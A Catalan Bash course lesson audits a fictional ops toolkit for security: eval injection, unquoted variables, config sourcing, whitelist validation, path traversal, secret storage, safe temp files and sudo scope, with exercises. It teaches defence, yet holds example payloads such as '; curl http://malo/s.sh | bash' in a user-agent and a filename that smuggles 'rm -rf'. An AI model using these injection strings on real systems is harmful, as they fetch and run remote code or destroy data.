La lliçó anterior va acabar amb una pregunta incòmoda: el toolkit ja és llegible i ràpid, però és segur? Aquests scripts s'executen sense ningú al davant, alguns amb sudo, guarden claus SSH que obren tres servidors, llegeixen un fitxer de configuració amb credencials i processen un CSV amb dades de clients i repartidors. Una fallada de rendiment fa que l'informe arribi tard; una fallada de seguretat fa que algú executi ordres a srv-veloz-01 amb els teus permisos. Aquesta lliçó audita el toolkit de dalt a baix: injecció d'ordres, validació d'entrada, secrets, fitxers temporals, mínim privilegi, condicions de cursa i dades personals, amb una llista de comprovació final.

Contingut

  1. El model d'amenaça d'un script d'operacions
  2. Injecció d'ordres: per què eval és una bomba
  3. Construir ordres sense eval
  4. La variable sense cometes com a vector d'atac
  5. El source de la configuració executa codi arbitrari
  6. Entrada no fiable: validar amb llista blanca
  7. Camins, -- i noms de fitxer hostils
  8. Gestió de secrets
  9. Temporals segurs, TOCTOU i escriptura atòmica
  10. Privilegis i entorn heretat
  11. Dades personals
  12. Llista de comprovació aplicada al toolkit

  1. El model d'amenaça d'un script d'operacions

Abans de repassar tècniques convé saber de qui ens defensem. Un script del toolkit rep dades de llocs que no controlem:

Font de dades Qui la controla? Risc
Arguments de la línia d'ordres Qui invoca l'script Alt si corre amb sudo des d'un timer
/var/log/veloz/acces.log Qualsevol que faci una petició HTTP Alt: la URL i el user-agent els escriu l'atacant
Resposta de veloz-api L'API, o qui la comprometi Mitjà-alt
enviaments.csv El sistema que el genera i qui introdueix les dades Mitjà
Variables d'entorn Qui llança el procés Alt: PATH, IFS i LD_* canvien el comportament

La conclusió operativa és dura i poc intuïtiva: una línia d'un registre és dada hostil. Si algú escriu "; curl http://malo/s.sh | bash; #" al user-agent d'una petició HTTP, aquesta cadena acaba en un fitxer que el teu script llegeix cada nit.

  1. Injecció d'ordres: per què eval és una bomba

eval pren una cadena, la torna a expandir i l'executa com si l'haguessis escrita tu. És a dir: converteix dades en codi.

# PERILLOS: llegeix la variable el nom de la qual es a $camp
camp="ciutat"
eval "valor=\$$camp"

Amb camp=ciutat funciona. Amb camp='x; curl -s http://malo.example/s.sh | bash' també: descarrega i executa un script. I aquest camp pot venir d'un argument, d'un registre o d'un JSON de l'API.

La regla és gairebé absoluta: si estàs escrivint eval, hi ha una altra manera de fer-ho. En revisió d'scripts d'operacions, el 99 % dels eval són substituïbles. Els mateixos perills tenen bash -c "$cadena", ssh host "$cadena" (07-06) i find -exec sh -c "$cadena": són els quatre punts calents de qualsevol auditoria, perquè en tots ells el text torna a passar per l'intèrpret.

  1. Construir ordres sense eval

El cas típic és «muntar una ordre amb opcions variables». La solució correcta és un array, no una cadena:

# MALAMENT: cadena que cal tornar a partir
opcions="--max-time 5 --silent"
eval "curl $opcions \"$url\""

# CORRECTE: cada element de l'array es un argument, sense reinterpretacio (04-03)
opcions=( --max-time 5 --silent )
[[ $detallat == si ]] && opcions+=( --verbose )
curl "${opcions[@]}" -- "$url"

En expandir "${opcions[@]}" cada element arriba com un argument, sense passar de nou per divisió en paraules ni globbing; encara que contingui ; o $(...), curl el rep com a text literal. Per compondre cadenes sense subshell hi ha printf -v cami '%s/%s.json' "$DIR" "$ciutat", i per «accedir a la variable el nom de la qual és en una altra variable» —on més eval es veu— Bash 4.3 té les referències de nom:

veloz_llegeix_camp() {
    local -n desti=$1            # $1 es el NOM de la variable de sortida
    desti="$2"
}
veloz_llegeix_camp resultat "Valencia"

declare -n (o local -n) crea un àlies sense expandir el contingut com a codi, que era justament el problema d'eval. Convé igualment validar que $1 és un identificador vàlid.

  1. La variable sense cometes com a vector d'atac

Ja sabem de 03-06 que una variable sense cometes pateix divisió en paraules i globbing. En seguretat deixa de ser un defecte estètic:

fitxer='enviaments.csv; rm -rf /tmp/veloz'
rm $fitxer

Convé ser exacte, perquè hi ha un mite estès: sense cometes, Bash no executa el ; com a separador d'ordres —la divisió en paraules passa després de l'anàlisi sintàctica—. El que sí que passa, i n'hi ha prou per al desastre, és que rm rep quatre arguments (enviaments.csv;, rm, -rf, /tmp/veloz) i esborra /tmp/veloz. Amb un valor com * -rf, el globbing expandeix el directori sencer. La conclusió no canvia: posa sempre cometes.

  1. El source de la configuració executa codi arbitrari

A 05-06 vam carregar etc/veloz-ops.conf amb source. És còmode i per això és el patró majoritari, però significa que el fitxer de configuració és un script: una línia curl -s http://malo.example/porta.sh | bash a dins s'executa amb els permisos del toolkit.

Hi ha dues defenses. L'obligatòria: fitxer en 600, propietat de l'usuari del servei, en un directori no escrivible per altres. La segona, per a configuracions sense lògica, és analitzar en comptes d'executar:

veloz_carrega_conf() {
    local fitxer=$1 clau valor
    while IFS='=' read -r clau valor; do
        clau=${clau// /}
        [[ $clau =~ ^[A-Z][A-Z0-9_]*$ ]] || continue    # llista blanca: descarta
        valor=${valor%\"}; valor=${valor#\"}            # comentaris i escombraries
        printf -v "VELOZ_CONF_$clau" '%s' "$valor"
    done < "$fitxer"
}

Cada línia es tracta com a text: s'exigeix que la clau sigui un identificador en majúscules —cosa que descarta comentaris, línies buides i ordres— i el valor s'assigna amb printf -v, que no l'interpreta mai.

  1. Entrada no fiable: validar amb llista blanca

La diferència entre llista negra i llista blanca decideix moltes auditories. Enumerar el que està prohibit (;, |, `) sempre deixa alguna cosa fora: \n, &, la codificació URL, l'equivalent UTF-8. Enumerar el que està permès i rebutjar la resta és tancat per construcció.

# Format: llista blanca de caracters
[[ $ciutat =~ ^[a-zA-Z0-9_-]+$ ]] || veloz_morir 1 "ciutat no valida: $ciutat"

# Millor quan el conjunt es tancat: llista literal (04-05)
case $ciutat in
    Valencia|Sevilla|Bilbao|Madrid) ;;
    *) veloz_morir 1 "ciutat desconeguda" ;;
esac

# Numeros: format I rang, mai nomes format
[[ $dies =~ ^[0-9]+$ ]] && (( dies >= 1 && dies <= 365 )) \
    || veloz_morir 1 "dies fora de rang: $dies"

Valida a la vora, tan bon punt la dada entra, no deu funcions més endins. I valida el rang a més del format: dies=999999999 és sintàcticament correcte i provoca un bucle interminable.

  1. Camins, -- i noms de fitxer hostils

Tres problemes diferents amb tres solucions diferents.

Arguments que semblen opcions. Si un nom comença per -, l'ordre el pren com a opció. -- marca el final de les opcions: rm -- "$fitxer", grep -- "$patro" f.log.

Camins amb ... Un paràmetre ../../etc/passwd treu "$DIR_DADES/$nom" del directori previst. Es normalitza i es comprova el prefix:

desti=$(realpath -m -- "$DIR_DADES/$nom")      # -m: no exigeix que existeixi
case $desti in
    "$DIR_DADES"/*) ;;
    *) veloz_morir 1 "cami fora de $DIR_DADES: $nom" ;;
esac

Noms amb espais i salts de línia. Un fitxer es pot dir informe$'\n'/etc/passwd. Per això a 05-01 vam fer servir find -print0 amb xargs -0: el byte nul és l'únic caràcter impossible en un nom.

  1. Gestió de secrets

Els secrets del toolkit són la clau de l'API, la contrasenya del correu i la clau SSH.

On NO va un secret Per què
Al codi de l'script Acaba a Git i allà es queda per sempre (08-04)
A la línia d'ordres ps aux el mostra a qualsevol usuari de la màquina (05-02)
A l'historial ~/.bash_history el desa en clar (02-06)
En una variable exportada L'hereten tots els fills; /proc/PID/environ la delata
En un registre Els registres es comparteixen, es roten i s'envien a suport

La manera correcta és un fitxer amb permisos estrictes, creat amb umask restrictiva:

umask 077                                     # tot el que crei aquest proces: 600 / 700
printf 'machine localhost login veloz-api password %s\n' "$token" > ~/.netrc
chmod 600 ~/.netrc                            # explicit, no confiis nomes en umask

veloz_api_get() { curl -sSf --netrc --max-time 5 "http://localhost:8080$1"; }

--netrc (o --netrc-file) llegeix les credencials d'aquest fitxer; -u usuari:clau les deixaria visibles a ps. Per a equips més grans existeixen gestors dedicats —Vault, pass, systemd-creds—, amb el mateix criteri: l'script demana el secret en execució i no l'escriu enlloc. I si un secret es filtra, es rota immediatament, abans que cap altra acció; si a més és a Git, esborrar-lo de l'historial és un problema a part que veurem a 08-04, i esborrar-lo no substitueix rotar-lo, perquè qualsevol va poder clonar el repositori.

  1. Temporals segurs, TOCTOU i escriptura atòmica

Un temporal amb nom predictible (tmp=/tmp/veloz-informe.txt) és una vulnerabilitat clàssica: qualsevol usuari pot crear abans aquest fitxer com a enllaç simbòlic a /etc/crontab, i quan l'script escriu —encara més com a root— escriu al destí de l'enllaç. És el symlink attack. La solució, ja vista a 05-01, és mktemp, que crea el fitxer amb nom aleatori i permisos 600 en una operació atòmica:

tmp=$(mktemp -t veloz-informe.XXXXXX)   || veloz_morir 1 "sense temporal"
trap 'rm -f -- "$tmp"' EXIT             # neteja garantida (05-03)

TOCTOU (time of check to time of use) és la finestra entre comprovar i utilitzar. El patró if [[ -e $desti ]]; then veloz_morir; fi; cp ... és intrínsecament fràgil: entre les dues línies algú pot crear el fitxer, i comprovar més vegades no tanca la finestra. Les solucions són operacions atòmiques: mkdir (falla si existeix), set -o noclobber, mktemp o flock (05-02). El cas més important del toolkit és l'escriptura atòmica del resultat, perquè mv dins del mateix sistema de fitxers és atòmic:

generar_informe > "$tmp"
mv -- "$tmp" /srv/veloz/informes/informe.html   # apareix complet o no apareix

Sense això, qui llegeixi mentre s'escriu veurà mig fitxer, i un script que mori a mitges en deixarà un de corrupte que el següent procés donarà per bo.

  1. Privilegis i entorn heretat

Mínim privilegi significa que cada script té exactament els permisos que necessita. informe-diari.sh només llegeix un CSV i escriu a logs/: corre com l'usuari veloz, no com a root. Quan calgui una ordre privilegiada, s'acota a /etc/sudoers.d/veloz:

veloz ALL=(root) NOPASSWD: /usr/bin/systemctl restart veloz-api

Això permet reiniciar el servei i res més; un veloz ALL=(ALL) NOPASSWD: ALL equival a lliurar la contrasenya de root, amb l'agreujant que ningú no ho percep així. Dos apunts més: Linux ignora el bit setuid en scripts que comencen per #!, precisament perquè la finestra entre que el nucli obre el fitxer i l'intèrpret el llegeix és explotable —així que la resposta a «necessito privilegis» és sudo acotat, mai chmod u+s—; i un directori escrivible per altres al PATH d'un script privilegiat permet col·locar-hi un grep fals.

D'aquí que un script sensible no hereti el seu entorn, el declari:

set -euo pipefail
IFS=$' \t\n'
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; export PATH
umask 077

És la mateixa idea de l'entorn mínim de cron (07-01), aplicada per seguretat: si algú exporta IFS=/, les teves divisions en paraules canvien de significat.

  1. Dades personals

enviaments.csv i acces.log contenen dades que identifiquen persones: noms de repartidors, adreces IP i, segons el cas, adreces de lliurament. Tres conseqüències: anonimitzar tot registre que surti del servidor —a suport, a un proveïdor, a un tiquet— amb veloz_anonimitza_log (06-02), que substitueix IP i identificadors per marcadors estables; minimitzar, no copiant el CSV complet si només necessites tres columnes; i retenir el just, perquè la política de retenció de la còpia de seguretat (07-03) també és una mesura de protecció de dades.

I una advertència que no admet matisos: qualsevol tractament de dades reals de clients s'ha de revisar amb el responsable de seguretat o de compliment abans de posar-lo en producció. Les tècniques d'aquesta lliçó són necessàries però no substitueixen una anàlisi legal —RGPD o altra normativa aplicable— sobre quines dades pots tractar, on i durant quant de temps. Un script tècnicament impecable pot continuar sent il·legal.

  1. Llista de comprovació aplicada al toolkit

# Comprovació Estat a ~/veloz-ops/
1 Cap eval, bash -c ni ssh host "$cadena" amb dades externes Corregit a flota.sh
2 Totes les expansions entre cometes Es verificarà amb ShellCheck (08-05)
3 Arguments validats amb llista blanca a la vora Afegit a informe-diari.sh i estat-servei.sh
4 -- abans de camins variables; -print0/xargs -0 a find Aplicat
5 Configuració en 600 i analitzada, no executada Permisos fets; anàlisi pendent
6 Cap secret al codi, arguments, historial ni registres --netrc a veloz_api_get
7 Temporals amb mktemp + trap ... EXIT Aplicat als cinc scripts
8 sudo acotat per ordre a sudoers.d Només systemctl restart veloz-api
9 PATH, IFS i umask 077 fixats a la capçalera Aplicat a lib/comu.sh
10 Sortida final escrita amb mv atòmic informe-diari.sh i copia.sh
11 Registres anonimitzats abans de sortir del servidor Al procediment de suport

Errors Habituals i Consells

  • Creure que «això només ho executo jo». L'script acaba en un timer, en un altre servidor o a mans d'un company. L'entrada que avui escrius tu, demà l'escriu un registre.
  • Filtrar caràcters perillosos en comptes d'acceptar els vàlids. Tota llista negra està incompleta; fes servir case tancat o [[ =~ ^[a-zA-Z0-9_-]+$ ]].
  • Posar el secret a la línia d'ordres «només per provar». Queda a ps mentre dura i a l'historial per sempre.
  • Esborrar un secret sense rotar-lo. L'esborrat no és la mitigació; la rotació sí.
  • Consell: sudo -l mostra exactament què pot executar l'usuari. Si hi apareix ALL, tens feina.
  • Consell: l'auditoria és recurrent, no una fita. Cada cop que un script llegeix una font nova, torna a la taula de l'apartat 1.

Exercicis

Exercici 1. Aquest fragment compta navegadors a partir del user-agent d'acces.log. Identifica les dues vulnerabilitats i reescriu-lo de manera segura.

while read -r linia; do
    agent=$(echo $linia | cut -d'"' -f6)
    eval "comptador_$agent=\$((comptador_$agent + 1))"
done < /var/log/veloz/acces.log

Exercici 2. Escriu veloz_valida_ciutat, que validi el seu argument contra la llista tancada de Veloz Envíos i retorni 0 o 1 amb missatge a stderr, funcionant encara que l'argument falti o contingui espais.

Exercici 3. copia.sh genera /srv/veloz/copies/resum.txt amb > directe. Explica els dos problemes i reescriu el bloc de manera atòmica i amb temporal segur.

Solucions

Solució 1. Les vulnerabilitats són (a) $linia sense cometes, que pateix divisió en paraules i globbing, i (b) eval sobre un valor que escriu el client HTTP: un user-agent com x; curl http://malo/s|bash; x s'executa. A més, read sense -r destrossa les barres invertides.

declare -A comptador
while IFS= read -r linia; do
    agent=${linia#*\"}                           # expansions, no cut (08-02)
    agent=${agent%%\"*}
    [[ $agent =~ ^[a-zA-Z0-9._/ -]+$ ]] || agent="(no valid)"
    (( comptador["$agent"]++ ))
done < /var/log/veloz/acces.log

La clau d'un array associatiu admet qualsevol text sense interpretar-lo, així que la dada hostil deixa de ser codi; la llista blanca evita a més claus absurdes a l'informe.

Solució 2.

# veloz_valida_ciutat <ciutat> -> 0 si pertany a la llista, 1 si no
veloz_valida_ciutat() {
    local ciutat=${1-}
    case $ciutat in
        Valencia|Sevilla|Bilbao|Madrid) return 0 ;;
        *) printf 'ciutat no valida: %q\n' "$ciutat" >&2; return 1 ;;
    esac
}

${1-} evita la fallada amb set -u si no hi ha argument (03-06), el case és una llista blanca tancada i %q escapa el valor perquè un salt de línia no embruti ni falsifiqui el registre.

Solució 3. Els problemes són que el fitxer es llegeix mentre s'escriu —un lector veu un resum a mitges— i que una fallada a mitges deixa un fitxer corrupte que el següent procés donarà per bo. El temporal ha d'estar al mateix sistema de fitxers que el destí perquè mv sigui atòmic:

tmp=$(mktemp -t resum.XXXXXX -p /srv/veloz/copies) || veloz_morir 1 "sense temporal"
trap 'rm -f -- "$tmp"' EXIT
{ printf 'copia %s\n' "$(date -Is)"; printf 'fitxers: %d\n' "$n_fitxers"; } > "$tmp"
mv -- "$tmp" /srv/veloz/copies/resum.txt

Conclusió

Auditar un script d'operacions consisteix a acceptar que les dades que entren són hostils —una línia de registre l'escriu qualsevol que faci una petició HTTP— i tancar les vies per les quals una dada es converteix en codi. La principal és eval, substituïble per arrays d'arguments, printf -v i declare -n; el segueixen bash -c, ssh host "$cadena" i find -exec sh -c, i el source del fitxer de configuració, que executa el que contingui i es pot reemplaçar per una anàlisi de clau=valor amb llista blanca de noms. La validació es fa a la vora i sempre amb llista blanca —case tancat o [[ =~ ^[a-zA-Z0-9_-]+$ ]]—, comprovant rang a més de format, amb -- per acabar les opcions, realpath més comprovació de prefix davant dels camins amb .., i -print0/xargs -0 davant de noms amb espais o salts de línia. Els secrets no van mai al codi, ni a la línia d'ordres —visibles a ps—, ni a l'historial, ni en variables exportades de més: fitxer 600 amb umask 077, --netrc a curl, gestors dedicats si l'equip creix, i davant d'una filtració rotar sempre, abans que esborrar. Els temporals es creen amb mktemp i es netegen amb trap EXIT, perquè un nom predictible a /tmp és un atac d'enllaç simbòlic esperant; les comprovacions del tipus if [[ -e f ]] són fràgils per definició i els resultats es publiquen amb mv atòmic; els privilegis s'acoten ordre per ordre a sudoers sabent que Linux ignora el setuid en scripts i que això ens protegeix; i un script sensible fixa el seu PATH, el seu IFS i la seva umask en lloc d'heretar-los. Finalment, les dades personals exigeixen anonimitzar abans de compartir, minimitzar el que es copia, retenir el just i —sense excepcions— revisar qualsevol tractament de dades reals amb el responsable de seguretat o compliment abans de producció.

El toolkit és ara llegible, ràpid i auditat. Però tots aquests canvis s'han fet editant fitxers a sobre dels anteriors, sense manera de saber què va canviar, quan, per què ni com tornar enrere si la refactorització de vigilant.sh trenca la vigilància el dimarts de matinada. La lliçó 08-04 posa ~/veloz-ops/ sota control de versions amb Git: què es versiona i què no —començant pel fitxer de configuració que acabem de protegir—, missatges de commit útils en operacions, desfer amb criteri, branques per provar sense tocar producció, etiquetes per marcar la versió desplegada a la flota i un hook pre-commit que impedeixi pujar codi sense revisar.

Curs de Programació en Bash

Mòdul 1: Introducció a Bash

Mòdul 2: Ordres Bàsiques de Bash

Mòdul 3: Fonaments de Scripting

Mòdul 4: Scripting Intermedi

Mòdul 5: Tècniques Avançades de Scripting

Mòdul 6: Treballar amb Eines Externes

Mòdul 7: Automatització i Programació

Mòdul 8: Bones Pràctiques i Optimització

Mòdul 9: Projectes del Món Real

© Copyright 2026. Tots els drets reservats